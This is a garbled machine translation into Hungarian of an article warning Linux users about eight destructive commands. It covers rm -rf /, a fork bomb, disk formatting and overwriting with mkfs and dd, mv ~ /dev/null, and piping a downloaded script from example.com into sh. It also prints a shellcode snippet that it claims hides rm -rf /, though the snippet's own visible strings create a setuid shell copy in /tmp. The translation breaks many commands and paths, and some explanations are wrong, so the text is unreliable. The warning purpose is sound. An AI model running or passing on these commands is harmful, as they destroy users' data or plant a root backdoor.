Homepage » hogyan kell » 8 Halálos parancsok Soha ne fusson Linuxon

    8 Halálos parancsok Soha ne fusson Linuxon

    A Linux terminál parancsai erőteljesek, és a Linux nem kér megerősítést, ha egy parancsot futtat, amely megszakítja a rendszert. Nem ritka, hogy a trollokat online ajánlják az új Linux felhasználóknak, hogy ezeket a parancsokat viccként futtassák.

    A nem futtatható parancsok megismerése segíthet megvédeni a trolloktól, miközben növeli a Linux működésének megértését. Ez nem kimerítő útmutató, és az itt található parancsok többféle módon is remixelhetők.

    Ne feledje, hogy ezek közül a parancsok közül sokan csak akkor lesznek veszélyesek, ha előtte vannak sudo az Ubuntu-on - nem fognak másképp működni. Más Linux disztribúcióknál a legtöbb parancsot root-ként kell futtatni.

    Képhitel: A Jason Ford-ról remixált koponya és keresztkövek a Twitteren

    rm -rf / - Minden törlése!

    A parancs rm -rf / törli mindazt, amit lehet, beleértve a merevlemezen tárolt fájlokat és a csatlakoztatott cserélhető adathordozón lévő fájlokat. Ez a parancs érthetőbb, ha bontja:

    rm - Távolítsa el a következő fájlokat.

    -rf - Futtassa az rm rekurzívan (törölje az összes fájlt és mappát a megadott mappában), és kényszerítse ki az összes fájlt, anélkül, hogy felkérne.

    / - Megmondja az rm-nek, hogy induljon a gyökérkönyvtárban, amely tartalmazza a számítógépen található összes fájlt és az összes csatlakoztatott médiaeszközt, beleértve a távoli fájlmegosztásokat és a cserélhető meghajtókat.

    A Linux örömmel engedelmeskedik ennek a parancsnak, és mindent törölni fog, anélkül, hogy megkérdezné, ezért legyen óvatos a használat során! Az rm parancs más veszélyes módon is használható - rm -rf ~ törli az otthoni mappában lévő összes fájlt rm -rf. * törli az összes konfigurációs fájlt.

    A lecke: Vigyázz rm -rf.

    Rejtett rm -rf /

    Íme egy másik kódrészlet, amely az egész weben van:

    char esp [] __attribute__ ((szakasz: „. text”))) / * e.s.p
    kiadás */
    X = x x x x x x x x x x x x x x x x x x x x x
    „\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99”
    „\ XDF \ X81 \ x68 \ x8d \ X92 \ XDF \ xd2 \ X54 \ x5e \ xf7 \ x16 \ xf7”
    „\ X56 \ x04 \ xf7 \ X56 \ X08 \ xf7 \ X56 \ x0c \ X83 \ xc4 \ X74 \ X56”
    „\ X8d \ X73 \ X08 \ X56 \ X53 \ X54 \ x59 \ xb0 \ 0B \ XCD \ x80 \ x31”
    „\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2F \ X62 \ x69”
    „\ X6e \ x2F \ X73 \ x68 \ x00 \ X2d értéket kapjuk \ x63 \ x00”
    „Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”

    Ez az rm -rf / - A parancs végrehajtása ugyanúgy törli a fájlokat, mintha rm -rf /.

    A lecke: Ne futtasson furcsa kinézetű, nyilvánvalóan álcázott parancsokat, amelyeket nem értesz.

    : () : |: & ;: - villás bomba

    A következő sor egyszerű, de veszélyes, bash funkció:

    : () : |: & ;:

    Ez a rövid vonal meghatározza a héjfüggvényt, amely új példányokat hoz létre. A folyamat folyamatosan ismétlődik, és másolatai folyamatosan replikálódnak, gyorsan átveszik az összes CPU-időt és memóriát. Ez a számítógép fagyását okozhatja. Ez alapvetően egy szolgáltatásmegtagadási támadás.

    A lecke: A bash függvények erőteljesek, még nagyon rövidek is.

    Képhitel: Dake on Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Merevlemez formázása

    A mkfs.ext4 / dev / sda1 a parancs egyszerűen érthető:

    mkfs ext4 paranccsal - Hozzon létre egy új ext4 fájlrendszert a következő eszközön.

    / Dev / sda1 - Megadja az első merevlemez első partícióját, amely valószínűleg használatban van.

    Összességében ez a parancs egyenértékű a c: futási formátummal: a Windows-ban - az első partíción lévő fájlokat törölni fogja, és egy új fájlrendszerrel helyettesíti őket.

    Ez a parancs más formában is jöhet - mkfs.ext3 / dev / sdb2 formázza a második merevlemez második partícióját az ext3 fájlrendszerrel.

    A lecke: Vigyázni kell, hogy a parancsok közvetlenül a / dev / sd-vel kezdődő merevlemez-eszközökön futnak.

    parancs> / dev / sda - Közvetlenül ír egy merevlemezre

    A parancs> / dev / sda a vonal hasonlóan működik - parancsot futtat, és a parancs kimenetét közvetlenül az első merevlemezre küldi, az adatokat közvetlenül a merevlemez-meghajtóra írva, és károsítja a fájlrendszert.

    parancs - Futtassa a parancsot (bármilyen parancs lehet.)

    > - Küldje el a parancs kimenetét a következő helyre.

    / Dev / sda - Írja be a parancs kimenetét közvetlenül a merevlemez eszközre.

    A lecke: Mint fent, vigyázz a parancsokra, amelyek merevlemez-eszközöket tartalmaznak a / dev / sd-vel kezdődően.

    dd if = / dev / random of = / dev / sda - Junk írása egy merevlemezre

    A dd if = / dev / random = / dev / sda A sor egyben törli az egyik merevlemez adatait.

    dd - Végezzen alacsony szintű másolást egyik helyről a másikra.

    if = / dev / random - Használja a / dev / random (véletlenszerű adatokat) bemenetként - láthat olyan helyeket is, mint a / dev / nulla (nullák).

    A = / dev / sda - Kimenet az első merevlemezre, a fájlrendszer véletlenszerű szemétadatokkal való helyettesítése.

    A lecke: dd másol adatokat az egyik helyről a másikra, ami veszélyes lehet, ha közvetlenül egy eszközre másol.

    Képhitel: Matt Rudge a Flickr-en

    mv ~ / dev / null - A Home Directory áthelyezése egy fekete lyukba

    / dev / null egy másik különleges hely - a / dev / null-ra való áthelyezés ugyanaz, mint a megsemmisítése. Gondolj a / dev / null-ra mint egy fekete lyukra. Lényegében, mv ~ / dev / null elküldi az összes személyes fájlt egy fekete lyukba.

    mv - Mozgassa a következő fájlt vagy könyvtárat egy másik helyre.

    ~ - A teljes otthoni mappát képviseli.

    / Dev / null - Mozgassa otthoni mappáját a / dev / null-ra, megsemmisítve az összes fájlt, és törölje az eredeti példányokat.

    A lecke: A ~ karakter az otthoni mappát képviseli, és a dolgok mozgatása a / dev / null-ra rombolja őket.

    wget http://example.com/something -O - | sh - Letöltések és parancsfájlok futtatása

    A fenti sor letölti a szkriptet az internetről, és elküldi azt sh-nek, amely végrehajtja a szkript tartalmát. Ez veszélyes lehet, ha nem biztos benne, hogy mi a szkript, vagy ha nem bízik a forrásban - ne futtasson megbízhatatlan parancsfájlokat.

    wget - Letölti a fájlt. (Lehet, hogy a göndör helyett a göndörítés is megjelenik.)

    http://example.com/something - Töltse le a fájlt ezen a helyen.

    | - Cső (küldje el) a wget parancs kimenetét (a letöltött fájlt) közvetlenül egy másik parancsra.

    SH - Küldje el a fájlt a parancsra, amely végrehajtja, ha egy bash parancsfájl.

    A lecke: Ne töltsön le és ne futtasson megbízhatatlan parancsfájlokat az internetről, még parancs segítségével is.


    Ismerje meg azokat a veszélyes parancsokat, amelyeket az új (és tapasztalt) Linux-felhasználók nem futtatnak? Hagyjon megjegyzést, és ossza meg őket!